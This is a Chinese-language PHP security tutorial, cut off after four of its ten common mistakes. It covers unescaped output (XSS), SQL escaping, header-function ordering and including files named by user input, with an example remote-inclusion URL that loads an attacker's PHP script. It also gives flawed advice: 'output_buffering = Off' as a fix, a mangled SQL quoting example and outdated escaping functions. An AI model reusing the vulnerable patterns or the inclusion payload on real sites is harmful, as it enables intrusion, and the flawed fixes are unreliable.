PHP是個偉大的web開發語言,靈活的語言,但是看到php程式員周而復始的犯的一些錯誤。我做了下面這個列表,列出了PHP程式員經常犯的10中錯誤,大多數和安全相關。看看你犯了幾種
1.不轉意html entities
一個基本的常識:所有不可信任的輸入(特別是使用者從form中提交的資料) ,輸出之前都要轉意。
echo $_GET[''usename''] ;
這個例子有可能輸出:
<scrīpt>/*更改admin密碼的指令碼或設定cookie的指令碼*/</scrīpt>
這是一個明顯的安全隱患,除非你保證你的使用者都正確的輸入。
如何修複 :
我們需要將"< ",">","and" 等轉換成正確的HTML表示(< , >'', and "),函數htmlspecialchars 和 htmlentities()正是幹這個活的。
正確的方法:
echo htmlspecialchars($_GET[''username''], ENT_QUOTES);
2. 不轉意SQL輸入
我曾經在一篇文章中最簡單的防止sql注入的方法(php+mysql中)討論過這個問題並給出了一個簡單的方法 。有人對我說,他們已經在php.ini中將magic_quotes設定為On,所以不必擔心這個問題,但是不是所有的輸入都是從$_GET, $_POST或 $_COOKIE中的得到的!
如何修複:
和在最簡單的防止sql注入的方法(php+mysql中)中一樣我還是推薦使用mysql_real_escape_string()函數
正確做法:
<?php
$sql = "UPDATE users SET
name=''.mysql_real_escape_string($name).''
WHERE id=''.mysql_real_escape_string ($id).''";
mysql_query($sql);
?>
3.錯誤的使用HTTP-header 相關的函數: header(), session_start(), setcookie()
遇到過這個警告嗎?"warning: Cannot add header information - headers already sent [....]
每次從伺服器下載一個網頁的時候,伺服器的輸出都分成兩個部分:頭部和本文。
頭部包含了一些非可視的資料,例如cookie。頭部總是先到達。本文部分包括可視的html,圖片等資料。
如果output_buffering設定為Off,所有的HTTP-header相關的函數必須在有輸出之前調用。問題在於你在一個環境中開發,而在部署到另一個環境中去的時候,output_buffering的設定可能不一樣。結果轉向停止了,cookie和session都沒有正確的設定........。
如何修複:
確保在輸出之前調用http-header相關的函數,並且令output_buffering = Off
。
4. Require 或 include 的檔案使用不安全的資料
再次強調:不要相信不是你自己顯式聲明的資料。不要 Include 或 require 從$_GET, $_POST 或 $_COOKIE 中得到的檔案。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET[''filename'']);
//including footer
?>
現在任一個駭客現在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
來擷取你的機密資訊,或執行一個PHP指令碼。
如果allow_url_fopen=On,你更是死定了:
試試這個輸入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
現在你的網頁中包含了http://www.youaredoomed.com/phphack.php的輸出. 駭客可以發送垃圾郵件,改變密碼,刪除檔案等等。只要你能想得到。
<